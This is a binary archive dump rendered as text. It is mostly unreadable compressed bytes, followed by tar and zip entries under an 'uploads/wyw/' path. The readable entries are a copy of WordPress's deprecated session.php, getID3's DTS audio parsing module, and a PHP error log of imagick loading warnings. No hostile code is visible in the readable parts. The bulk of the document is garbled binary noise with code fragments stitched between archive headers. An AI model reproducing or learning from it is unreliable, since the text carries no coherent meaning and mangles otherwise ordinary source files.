!.Y1UJR*-͸*ĸ@
-x9y?cWCڿZhPj:d6*	ʟEqk5uPd!GYYotdjɕzƜLy?\)0<3oWGsmv:DF2=bUa䥤pE$f"o:RX}PR{Z:LnKb+eQAX𭳎pAqTKFO32m舒v]L\5lxvIƉh#ܕm;
atd?ʇ)ihn+jʋ}l-[G-oPj$+-wtznVU¬
Y	Cf̃sŽ^zhSdZ*_B'|1uxlsy]S]H4h/
"~B/s杳1[c@ZzV+g}"_&GsBO}ŶظJ9>q`ծAMqB"3ǸܢXde*y#'KvDY`6Nnx8єtVrHeSsR,hr1y]`xn3Ҍu4hʸE=F-2p})^9CKa U	Ng`~)'%ssZ"3)gS,ߜ.Yj"s?fG$KP׭黯Eڥ{ƻo>m,Ds;H'"D$QhdWEW2ྰ<Xnm(#%&܅|U:<$W[?6F}hk'SkdbH`LU2wayaAw²KFԣ~8GeJ%K/7Tt@FF})qZ%'0}㻑
AY[	:%	ЙL7D0QpOĕ|@8KdDpF7:`g$Q,tfHYťK'Gpxɐ߿v-'fծ4l#lL-hn$|.(iPﱐhvG":e|mHRN"Il-59婖kcɖt@Nzm-7&ONǏ[.JcκqqrvO)'g[_W	?B0!MVV5`gbwHڴlj**](ms`T0sk3&8
xQ:d.t/*xE8,u1WMdܯPG[ ORgOPh!Se6-T3L
`Q'
b̬&2H#G3$4%v-O\s&Xu92rkk4ɾmJ%=ѳ&Bl
%Fi6]IMCJaKcrJ9+I:YNϕtѱ論#ٜEٓHqrxn&?ԓzt%zʍĨ~Цh̙YW*6ŮɃ޼`Ωdυ(9jG8@1+{x9լԊ-Q.,^`HF0Gkt˪eʥu\ng*9BO\9IGAtk.Wx
]h9f֪I$6Ks{J$cٓ8q)GGB٨ߤi)]#qS1BM,V2;~JEIUN~I:&CA2ӔӜOJyWFFX58D[p)A5ºhZH-2\u2ׇ~="^^9랋-΢< tĜ֍Ѵ:_Şs^ߗ\3eH2dω9	!5r-"ז\}F7/"父LIۅm.~H#6FhKXGw/x9d#/-#hkn"k9@߱xu84^[qrGW%r6顉/xPEI);OPUjbh@jĊ !P?x2nOǓ
Ylِs>бa?`p73Fx\gf^%_Cl^U,[O9[Vs}Oh78Wt_Ef@67f=0Bڸ'k{V₮}ux=2{u3
_(Fhr,;$s!bb4&+'=gIKeH`ݠJ#VTx3yƮ"bЪ4ȏ$Q
N4*+r̸L"<6@J#e0"hpE1[tshI/OPPCX3,&dlslaӳqѣeGd:$UR;QE[٘gƓ?bC9cCQNð«l=@(t۹Š9m3u
@1ӑ9
ZmaBjQF$eٴH>x&p
_/)P)zmĩ۫J?`euej,ffRꌳ@'3YՄ:AWAYC-H5.	D0	p)jg]Eh g8Wsu"F3W"wU`ŃY9DA82n|Yo-~]v{`_ϟ\<ksL8I=jE@[jǥ3>9;k=m|ڳ{9:	6AuhxWa"b<ΉK؞x4\͕MsŒF;Y|3ߵE:Y,)n%gpE'R73]'>t:Pqo}Լ?GPA]9ԁHyfKUL%BܩU}_t|Y9,HJa[畤U
l3H#`^Xe|^XayZ?UWvQT.ڽK1Uˎ}nV_7ot?'y0ngM;ewBsu7+>Kul[&в9׿Lrw9p0NΥrJ\zr	j,}eӋ%{̴K"Cpt
V%([$U1+p-x+'#Eq)PαHUϰUI՛N#"`;<QPGu8Ye]aY"uD:yKuaޠ0]ވwYil[~Rߍ)~oRQpXo{B{y&FU[$JΠ1%.=n9j$(|Dͦ%E*5A"1k2S*@Qx2)+{I"1uS [Q_ψ
S>嘋a>&7]tV	̚6825u$,q&zjl1Ksk25Ֆ&lwFFsY,NؾxpB\+z-#oPT!zu6s:
RuiD’b
V0dk
ML,_mtuJTƧ1Ga1Gmd_xZ!Z~ǒIGdt)_XF _|8tD8MRTB5B1_fOAbjΟwG/]ja)~.:ܖih,8Idɹy;\:X,z,uEԹ%ZWv>J;i9*g	l z-^Kurvfo?Gs5gq1GMAB*ܼ9>8]ႎ4WYyyzio$
$*&,9/,~
bD+!BGN!ɏah?FT?MWD
B9>1
PWM42Nz,/h2֕C6GQFog#JƖ2mLhVgVJ7	+p`O9h/Ɓ}aE
UI9\Ʒ^
0L0If-!1cHaf(ZCU69y-ҙXAhMRnxˀd=hJgubٓG2l11?[|Ajw9g D>㚵jGzgDp9	\3Z)A+-BltdD"͏)DvÌ$!<{"Mo͠3ގS6ZڕLM&
-!.wsgZC3^>!^`RԪ:	֔mkg;Tĉ`'f	"!eqm3\mg]b起)Pw
#.4@`|\VpV#cƝUfe3&e1JĘYQFn7'3=7'\&
c-\C_~̪)wPħ#,`2"F9
FNPq(i.+*$;9Z.6q"ې͌\`
\>N#pYѷkŌKKiCu`aR&(yގa*VN.Ķs3W39>	51ɩL.ܥQ!Ms|8h٠ucV]#O5}Dpugk0&X]_K
ovQd>K9:- ;*;IV'Ew`>AΙY KbÛgJ>tSz:z}LPC <
o)T{h`L!	aYo.'hfݛU%OL왓x.D(1L X圞x7gBg8HUm_{Pf}{k$*;\8t`WxTO}Z%BW$Ql\[1H&1
1(ܩ`򜜜tN`\O:hj$?hW>)'ׇ 1j1ܟ`iv`POq|۩
Zu{2\w#5?YVa)Y=N{{WIj<9KZELѭ$]?>Pa˓aAij`&E:Cfct쓙_P?^,wrkҩۛ7IV+-x͍64쥱 8~܂!hiQi9Cdt
9z9+TV.AlSuȘF<y"N5(2,HY,[LdKtsL[N2M%Y苖
	AI7y/75NJy
K~0(|y~Š(h}OAP]g!op9qM

F]oqFP'(%&6He}Wӣ	^nQ|'/w٘b+aȕ#s8Wo*ǯkhUMyqzyr%t+lז{[KSnJC#)G"Q~?XMNPB|4dAҗ,Hk/CdT4a;s葳46rF^u]j˜dO@}	 gH-V&-Md%CHdďͶLw264iHn/9>ʽNs~k6WSh3&G7['`2l~l>ߗ'f@.SO1Μߤ"
nM9~)p-/aE4hX<c!'zKX.͵$a2NKNGa¶dJ,OO.jj LDa]U7"O?䳇OnuNQ	GЏ^U	#y@{p8$F-q:kqZbT}	/G0/}wsD*&qDzc,IQlTXZtJY/WgWoSv5,EX|P!yUs>Y.#chtoKOR!i%bonSvy55ybq_gq<F&hm}W⢻7!Qm]o馈>7Ѯ4lᝠ`yxe:I
{o#}EФrfd>vuvɆzMdC(+E)׺_ȳoShNBB<t+{3sFxfW&;'&(ZٟdEz&LtkUJ,&4$f?bV#X&EO Ek9(XRYjYQ@|Lz1CwN0H;f%wcFBJpRg3hp*|x;X-[MhdP(@LdPji=ZeGE5![r$Qm\o^h>dŀ5l2(P
,yUi?>MZfNjrN}B6\MqaWݷ3cvVB``,zHY
ՇMlԶVdݚg4XddGvAq[Ph֙tUrTyۤ`V$RۨQvmq5=0x<b gvwP}ƈx*-a:Knu|HuR{snܜ{&fEy,~N`v+XVlyd|V^+=Gt1IcxEbf57o_kv]vwl辩V,Ug2z `D;)Pf_ΩN\W
jJ{ӄY_u%w) ꏫq3+X"}Q7æ͕[osX~&z"O5/hJ|Gk>8vf#}=F*	zvS!L/AOfH522|x|3C#ԉZEKķK]=C5{f ޤ<KR]?PV*2kvԾ)Ha/;5<&D9;ȋ@s6[^a7.J
+9PĪO
*t狦	e3muSVޅc7%Fӥ:Mgj
%{}5*\n?葻kγp:{6A@̮&^-Ҡ_v@OW62~JZgMA3V5@qLGw;`kf 42(uϚ{ֳܕzMauy%wbԷaШ儡w?||(o%;X{;<4'ZN7:
#7)vISK/KOWa׭&Y,r
|"fH~I~cޚ0Iuq>km-CގlomMxvK+7Gºߟy˝Ow*o"y̳~N=L<q>&݄c(=PT3LKcC{|Wta5nxj53b^x|֍GiE︋XeE:U۸ԌRTwXqhAxu0sRxo
SxgOuPAyz:i_?yQf\ (
ysfY2Iz&X&
,Pi9n	ZߞǞ{jOQfwԃ0ZGG#D7NsTrA:)@PlXM:(2Ga91?_t}}GF}|M+
?֧'o7%[wf	QW緞M
2~saoEt֙l򋸞`%-qűyHjˉ@zk&_
%tԯ+9xb>lnne2ʽ'K&NBQI"AARS&9sqW4;-Xw)ӂțȳa/p n$M]#q{Qcke,NL
麲EXVp</K҃/_oIBfF,0GipG]tSO|u0)\Rw{A
˃^f\̖@l	#sLpp3DPGāulTg-pǪ#`;XJ=ŋOIk۬?I9Y	f4;'夏VND9o߸s=}ANeGiʍ`%C/MÒGVO^$Iurbo:1(/'X!@.S$ϒ<'aȐECVy^lXp0rUsYif}
*X	;e7C~'?VSi<&?<C4kB̖oMo<xč
fbR4+oϚC@zMHfWJfgOq783'qiNy@S`bb.y]*gB=eCVCAVMբ.95d;{'^>F߰u>e/Xc!;vcRasq^\RP#=p2"9\8/gfɸ#5I`<;u)TS=TY.;ˈ+<}3
d8ITzKR|1|YpI⡢}G:4"/IpiW
;f<_<{EK%} QIS!"laJURCn.;$3($ܷ}BZn8M;Hp(Fƅ$#c]Y5m*EŬ5b2۱,/xwU3
%ww#.Su,9**)Uqj+<wUuRmkyyD9HpmJG&34N1;lSj-=I{:axqAЮunç[Y ЅW*E.-XLO![tqh-_GhTz$'>Ĕx|IlބN":)reʽ63ɗ>p~WijxJ<Op5]v G;@8)h5sv1Q2}SEt
de!jh@Έ0>Ųom}ȸn#pQ`rq_k hPo~Z(/[Nt,PEXAִ?r(tDgkAtI,Le^vݽOw~|g{Gh4-UJ-g\1:K-j	rD4خs7}jQ*O$7w@u?t?t<]՛P#cyq24mVGњsضK|eܑG{ϦTMЁ8;YeQ\
IeBXP	,tW{MrrbskuДW~-'>	A{wXϣTaKu[:~-Bþi.3u
_]}.*
.űRCt0ENSEfޛ$G|<djz4N`zD9NQB92[D':I*MmT޸EOgma旛Bk"2^VMۣr1T5ka9^$1./7y#
fݮv[.hʃu4mwIo[	ZUY,=դA3&8?nh'&)z\ך&?09!E:|(uƘ;7;g2G>g*ɝ;7YqOٴ^4dpZst&'ZzBL?6H^Lea1vqVLHVg6Ty6&=6mC䂾ʶ+vbmYP``ijrڦx[y:!M#!rovؾYӬ'oa6
49!T>t9G:qg ^08R?ZsANI9L27JSTTLJo8jE[IڱgZtX5}z̡I!U=}K7,9ߛ]e'Zhb{&2woIgPNMqE<л59Mݙ4pFI	58O`mb.A7N&ES%ϸE,YTN؅t\65>˦?5߱5W5![f~j}r<\23k87U;:6

YvNn~ީ&hU#'b6b6S4ByXf>%ؾOMΩtYMMO(*(ء<0=~t#Z>')G/'oj(IҙKMa칄6hxʱ|<(-the}jN&µ]=]>POŧQrpL=@#h_J7?Xnz\«qmл)߼CUޥR]MzGIl_lN%GimƆ#.9AX%pgAg2GuB}nzEzz?dž}^,po.U߯Ԉ~V?2%/_0gcYynr):ቭ_zyWxqs,xIut>[Oߛrں}V@-FКװqu4:[s{5ӳwt:6B%_?4!tz+|(̄}{3m2A+yed׭dv?Qs;
c;珧b0:\;Y
:Fo#Ţ~<oxëQ2&gжzi <Y4y*7; W:*s9(eO~,ᥜ{@ż{\痰94sIOX䂮84U]Tso7_ùo-P\#)6A2z
fR|qoHQ. ^y<)gG6^r1GհȑRX
83zSIjykW4[ӜG[a&MIrw3D)+`	FH+UOgRD:
Vvm$yYҐgcH~\2̵i}~,
	7ŏ$
:uhzswӵ("Zd}rvC&	&LMyɼʽCur/Ed-U2>CT0^y4&s47e/Ij+:P
X6=Evf9IACRJU!b.p⿥fH F;YTɔ*s<aYXpl@Uo j	ɲNF4*D
4킏I!
mg#¤N/qzD``Id`CbAPb;+FHl/lTXKrN֏R*7Nd# Dd&!ٖ3ۿJXC@ѝ3KNУ:Mfŧ##h[,.Tr b11$Ř]EcFvp֒lq̢a:jat0‚9 I<0o;wA(lI0K|qRAA
wfjkV
hN(lE<	h%C$@`Z&WqI5@I%,p4AARPJ?0:rϐAR
:%2pH
PrMKbˌR=BI8V#ks3
M┝qZ!
QIHp&
j`<?:4x'I6,g#"NKIq)Jf;
%$IQ9,g&x팒4һLZlR<¸77W ŚM;:xQ$f\٬ y5aBIBаXB6G<1)P3.N,2o)ΌG7NWnH6d2RܸQ>4bf!P#S!8$ŗ!!3a#t	B2b`/4Y	JMF2lRW
-b޴P\XLQ%Ұ,o>8e^c׆hgO*hO:&SE{j96-H-˦4.i*L4N1%%,75~M>Q"	&)]oo%PQS(^s<UG<J׈Ur͎xU>WƬpL!X:J-ͺPlb]Z`anF1ئZ=Ulym,`F&UXazUuޯI4~m;M±.o9ZwM~2cQۚDW-&à<1<]ws7pࣚJU1~;m=5ME*za!
V;^6b!yZ50;ŹIh@PeP`DKE?)ֆyӆ
&#z,G
,r	sfӜca/mizoӠwtds3]q!VD7K,n
+xGqk]U_C!fI%95SEf[s<MσY)RA|؄mK|	o'P;'I-7_^<
Sx;E
`%`1BN25D8cL&@N%˭u5h
5S2-(Q$րAVmMCY]6sD1ǭ0PQhX,Za2Z{f
2xհ'kw	
7>04<LUl$@@
T<ysrz^ӳn?:hsqZ;~9,[V[hkrzxX$#eRTd5`m5ܰT)d{mheG N$h\,
v1; ɂΔ~{WCtq8Q\ioӶ!DNb*9`:mPL)'Q^x
v
zM}a]wYմKƠh_iyÐf"
k^y0UA/	J:z.R(?按	4U5{}/(!ϩQbDA1\[[@}=]3](	<pC: 孽+A/{I/Yh:xE4
NҮtvcf6b0o9N&6Κv4$%{憐;js/AӍqagbsB(ο<k΄2FmXIYT_t	eZ0m{<Gߙ$)Uő3_?E^3Rѳe~^^2.<pkH%Y›hȡkb&БIB=l諦P!fNz/l;by4g#o<~/:ЂAAǵd<.1T|y'NMXMeKHLOzlz[˚- *G<|G6^u:y`>v㎦%&zmeC3a#km/MG-VT_gӴUg_5H.zJrZ&#Ġ)j~r!쏢FB*)7^*ԚPK_o<;ŁcKGGxZAJz
AZYl߬g|g31#)>ڄ6KIҀ)ut~+23yACJq'RY}TJFhK&?_x`G>7CcQf-֓xH	G;v7՜vED_K{Q5}JC'	Y;wNNr]1IΌ[>ryKngX[uifMGgxG0,
#o67s
`XpXB.dhG8ɸ-FjXi{34şk}t73a2cSl#of	7:4\5[~c5Y^zziKW2+.xme1tHc	GNvta`DdRhcnBB%V?6ew:2EZnk">|>`kz%~1(mcjp5DgșKr><l8p۹?/=\#ĴB8.'L(E5^),B
䜌c쉅e&K2~S]F29M1ʙɣr%r@	^bMvYsM;rda¹9PtނE-z?	#8qay+PeTmсG+T͓?ݺySqi{_'w<ܠ4ZQmN('	Эw{Mۄ$9>a
5_`! ~Ecy!)xwFN`]:p2vCtm>6:*ĄBI06o[jESEJbhYc~л.! G(Fެrkp{ojֲna<@"8R9lb&b+Vˌ䷔A9=3x$-rF߆Vh)&**9:Rޓ1 Bzj|GapLt:v3Wqz"'76z_OJ_@P2Yu|PfN4·Mu6
9| s2s։m|w[U8_b /laq'rmm[Rto>y.)`BqI^=CQB7a^F}^	zon8f3ڜŸYI8z	5'DP	DCG)s9r!.I?W_}E䷘JdwzEbj|%0HddIB~i116rw̙aF:䈃,TfhBYL[_ݻ_;M_nf4fH;{t1_N_)1EϐC.&/75>}H_}}yO;;rOAj6(dXrpvOhWws/7o3UznbZƾZ<Oo1ml޼{O{}>mνÍR/wxSЦ#^_ӄ,ǽ/Yܿ
IU~e4W/\+O#ZzxI͙@)`{wnfzwk~v˯:ٝ>>
׆eS9_w)mRs{BA&7-b]&?|`rt&0ʊI*man!uRҶ3`Byu]Y'HP&M˸dkg}M?`n$r^BHƻ?yh	ĭ”GoV_%ZީxU[	 /yjItYWtGW3q`ZC'Νg)4g+Q=ġb%l~Q#L/tmr	J2*IrH%~7KieڈB&J dΘsWk;iy}Chg2fw*lQ
4EKA{f,sPeqa
@[zjr8$2ʽj5.ك<3{eg[	vG`Px",A@QF˦zΠ|5	,m$aGZ''خ	woiXJe	o\Q_t2hNnl#bkACaD ݝ|2GWu.Q3\!]as*w3nk0iC#>s0XKMnU}*>^<3$4DN|2]1Y88#aDPԁ/0>Sڞ߸sȸn`ʧM olNdOP{2GMZOtؒ{BWYMȴ75^i|隒 /n^CTB.|Kd9	8gQF1@̋婟m5NTy
EP
a?sy2L;kYD
a\љRČt#F:z4ITBsτLL:	;&ED8#!q(-[a1HO#yמqba*;2|!=(OS7D ǚ\wCc=n
ciMsD˺8(<^]C<#s꺌3,et'
o*ϐ8Ɉ"VÑkZl09.J"<*bQ~7i9xuG9/LYL]3,s$IӸϷ7CLKBn+{Ӟ=|<]K쇮^&e@Sig2 6#Fn[_*dq6x98͏Sc~:.'ӵ@qʉ~!Z|eAG_/ /8Ē,̉6,E>{d:Ie%&s1!#-/>Y6@6)SGpG,<d.>`:[X=s{C)]'^hK輕VsjقEW@ٟëPhU/m=5l5xx8H`6AoO7&u9A+։mf)E9H|bk0Ɋ֊5Pmu;5[CT(
D8;[AZѤ&z$DE;AHMkq{#*C/_r޵qlem1BR\j;hMhMz9mQ>_V*:l~N6j
|F{@Lˣ!rhEڈ\ar~[e
ךL̢`WQ52Z$ZOBfűMM&&Qi6Gs3N9
1WӼs_?uƪ 醖յf5Ԛ٨.OVt0
}QG]=uq{0#c,ODeӊ6ڈ}WJfmId'Kr%<:j^f3
_S<\3nC8y70juE+#&Kds5ec+:}UjH\ْXniەz*^q>Am앲]d+eYyjOj	|W^Ā|jPx
02Ru
c@}ijNWɀ
4`.ƀZA}\
sx>I\!6UYn,	z{Ao^۷߿N%_v6:.>g|{n_-!?qFN,l:QBml1^%k*?R:#gMlggJ(P^'i PϺf٫gO[tp["A't+m|<n3ELnx=)> ~<;4]:]	%$lHk/%4^4ɖtR΀JG@yaQ5]c,/mxW=(F:XT:/!4HpFtѱlP_O
t0-=#ڛ;codFbM_ejN
aq+Yo|Śr.8EJ1sZ9SU@X\
OKGvN )$a>Wĺ'!#:%U9Hd>"vŮIϠ1Ёσu$}r?[|/|~v>8"VgX1nFnqj"wȂ{a㋗B<7
:Xpk,9RQe蒼Bbc)O.l*SQT-5H!kބlQOտ1^Ƙ	iH
SV~rbZ.\0=Мd;m
x.!dzg&=z#~lnAT.
<D7HӦMwd'hs1rg?ex_4RO݌GG9rTiwh?\ʀUG?>|9FGuploads/wyw/class-feed.php.tar.gz000066600000000573152443022640012777 0ustar00KK0ݚ_q]ÙAGQ)(F;ؤ*cbtEoN97!9ɗRJ.P\މὦZu&0@zc"b7?Չh0?~
!ZƊ!{t,n&ɔfze&ӪhP
K8!cC*Ѕ0XR\dzv9xy.s32paq|P&
+g0'Ym*R"L/)0KGu^lZVgVtҫh6K!7wDi	/7y߼v#Je#7kfGGGG7O
uploads/wyw/session.php.tar000066600000004000152443022640012022 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/session.php000064400000000402152442705370020264 0ustar00<?php
/**
 * Session API
 *
 * @since 4.0.0
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0' );

require_once ABSPATH . WPINC . '/class-wp-session-tokens.php';
require_once ABSPATH . WPINC . '/class-wp-user-meta-session-tokens.php';
uploads/wyw/ID3.zip000066600011547657152443022640010204 0ustar00PKE]**module.audio.dts.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.dts.php                                        //
// module for analyzing DTS Audio files                        //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

/**
* @tutorial http://wiki.multimedia.cx/index.php?title=DTS
*/
class getid3_dts extends getid3_handler
{
	/**
	 * Default DTS syncword used in native .cpt or .dts formats.
	 */
	const syncword = "\x7F\xFE\x80\x01";

	/**
	 * @var int
	 */
	private $readBinDataOffset = 0;

	/**
	 * Possible syncwords indicating bitstream encoding.
	 */
	public static $syncwords = array(
		0 => "\x7F\xFE\x80\x01",  // raw big-endian
		1 => "\xFE\x7F\x01\x80",  // raw little-endian
		2 => "\x1F\xFF\xE8\x00",  // 14-bit big-endian
		3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;
		$info['fileformat'] = 'dts';

		$this->fseek($info['avdataoffset']);
		$DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes

		// check syncword
		$sync = substr($DTSheader, 0, 4);
		if (($encoding = array_search($sync, self::$syncwords)) !== false) {

			$info['dts']['raw']['magic'] = $sync;
			$this->readBinDataOffset = 32;

		} elseif ($this->isDependencyFor('matroska')) {

			// Matroska contains DTS without syncword encoded as raw big-endian format
			$encoding = 0;
			$this->readBinDataOffset = 0;

		} else {

			unset($info['fileformat']);
			return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"');

		}

		// decode header
		$fhBS = '';
		for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) {
			switch ($encoding) {
				case 0: // raw big-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) );
					break;
				case 1: // raw little-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2)));
					break;
				case 2: // 14-bit big-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) ), 2, 14);
					break;
				case 3: // 14-bit little-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14);
					break;
			}
		}

		$info['dts']['raw']['frame_type']             =        $this->readBinData($fhBS,  1);
		$info['dts']['raw']['deficit_samples']        =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['crc_present']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['pcm_sample_blocks']      =        $this->readBinData($fhBS,  7);
		$info['dts']['raw']['frame_byte_size']        =        $this->readBinData($fhBS, 14);
		$info['dts']['raw']['channel_arrangement']    =        $this->readBinData($fhBS,  6);
		$info['dts']['raw']['sample_frequency']       =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['bitrate']                =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['embedded_downmix']     = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['dynamicrange']         = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['timestamp']            = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['auxdata']              = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['hdcd']                 = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['extension_audio']        =        $this->readBinData($fhBS,  3);
		$info['dts']['flags']['extended_coding']      = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['lfe_effects']            =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['predictor_history']    = (bool) $this->readBinData($fhBS,  1);
		if ($info['dts']['flags']['crc_present']) {
			$info['dts']['raw']['crc16']              =        $this->readBinData($fhBS, 16);
		}
		$info['dts']['flags']['mri_perfect_reconst']  = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['encoder_soft_version']   =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['copy_history']           =        $this->readBinData($fhBS,  2);
		$info['dts']['raw']['bits_per_sample']        =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['surround_es']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['front_sum_diff']       = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['surround_sum_diff']    = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['dialog_normalization']   =        $this->readBinData($fhBS,  4);


		$info['dts']['bitrate']              = self::bitrateLookup($info['dts']['raw']['bitrate']);
		$info['dts']['bits_per_sample']      = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']);
		$info['dts']['sample_rate']          = self::sampleRateLookup($info['dts']['raw']['sample_frequency']);
		$info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']);
		$info['dts']['flags']['lossless']    = (($info['dts']['raw']['bitrate'] == 31) ? true  : false);
		$info['dts']['bitrate_mode']         = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr');
		$info['dts']['channels']             = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']);
		$info['dts']['channel_arrangement']  = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']);

		$info['audio']['dataformat']          = 'dts';
		$info['audio']['lossless']            = $info['dts']['flags']['lossless'];
		$info['audio']['bitrate_mode']        = $info['dts']['bitrate_mode'];
		$info['audio']['bits_per_sample']     = $info['dts']['bits_per_sample'];
		$info['audio']['sample_rate']         = $info['dts']['sample_rate'];
		$info['audio']['channels']            = $info['dts']['channels'];
		$info['audio']['bitrate']             = $info['dts']['bitrate'];
		if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) {
			$info['playtime_seconds']         = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8);
			if (($encoding == 2) || ($encoding == 3)) {
				// 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate
				$info['playtime_seconds'] *= (14 / 16);
			}
		}
		return true;
	}

	/**
	 * @param string $bin
	 * @param int $length
	 *
	 * @return int
	 */
	private function readBinData($bin, $length) {
		$data = substr($bin, $this->readBinDataOffset, $length);
		$this->readBinDataOffset += $length;

		return bindec($data);
	}

	/**
	 * @param int $index
	 *
	 * @return int|string|false
	 */
	public static function bitrateLookup($index) {
		static $lookup = array(
			0  => 32000,
			1  => 56000,
			2  => 64000,
			3  => 96000,
			4  => 112000,
			5  => 128000,
			6  => 192000,
			7  => 224000,
			8  => 256000,
			9  => 320000,
			10 => 384000,
			11 => 448000,
			12 => 512000,
			13 => 576000,
			14 => 640000,
			15 => 768000,
			16 => 960000,
			17 => 1024000,
			18 => 1152000,
			19 => 1280000,
			20 => 1344000,
			21 => 1408000,
			22 => 1411200,
			23 => 1472000,
			24 => 1536000,
			25 => 1920000,
			26 => 2048000,
			27 => 3072000,
			28 => 3840000,
			29 => 'open',
			30 => 'variable',
			31 => 'lossless',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|string|false
	 */
	public static function sampleRateLookup($index) {
		static $lookup = array(
			0  => 'invalid',
			1  => 8000,
			2  => 16000,
			3  => 32000,
			4  => 'invalid',
			5  => 'invalid',
			6  => 11025,
			7  => 22050,
			8  => 44100,
			9  => 'invalid',
			10 => 'invalid',
			11 => 12000,
			12 => 24000,
			13 => 48000,
			14 => 'invalid',
			15 => 'invalid',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|false
	 */
	public static function bitPerSampleLookup($index) {
		static $lookup = array(
			0  => 16,
			1  => 20,
			2  => 24,
			3  => 24,
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|false
	 */
	public static function numChannelsLookup($index) {
		switch ($index) {
			case 0:
				return 1;
			case 1:
			case 2:
			case 3:
			case 4:
				return 2;
			case 5:
			case 6:
				return 3;
			case 7:
			case 8:
				return 4;
			case 9:
				return 5;
			case 10:
			case 11:
			case 12:
				return 6;
			case 13:
				return 7;
			case 14:
			case 15:
				return 8;
		}
		return false;
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function channelArrangementLookup($index) {
		static $lookup = array(
			0  => 'A',
			1  => 'A + B (dual mono)',
			2  => 'L + R (stereo)',
			3  => '(L+R) + (L-R) (sum-difference)',
			4  => 'LT + RT (left and right total)',
			5  => 'C + L + R',
			6  => 'L + R + S',
			7  => 'C + L + R + S',
			8  => 'L + R + SL + SR',
			9  => 'C + L + R + SL + SR',
			10 => 'CL + CR + L + R + SL + SR',
			11 => 'C + L + R+ LR + RR + OV',
			12 => 'CF + CR + LF + RF + LR + RR',
			13 => 'CL + C + CR + L + R + SL + SR',
			14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2',
			15 => 'CL + C+ CR + L + R + SL + S + SR',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined');
	}

	/**
	 * @param int $index
	 * @param int $version
	 *
	 * @return int|false
	 */
	public static function dialogNormalization($index, $version) {
		switch ($version) {
			case 7:
				return 0 - $index;
			case 6:
				return 0 - 16 - $index;
		}
		return false;
	}

}
PKE]0YPP	error_lognuW+A[28-Aug-2026 07:52:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:52:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 07:52:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
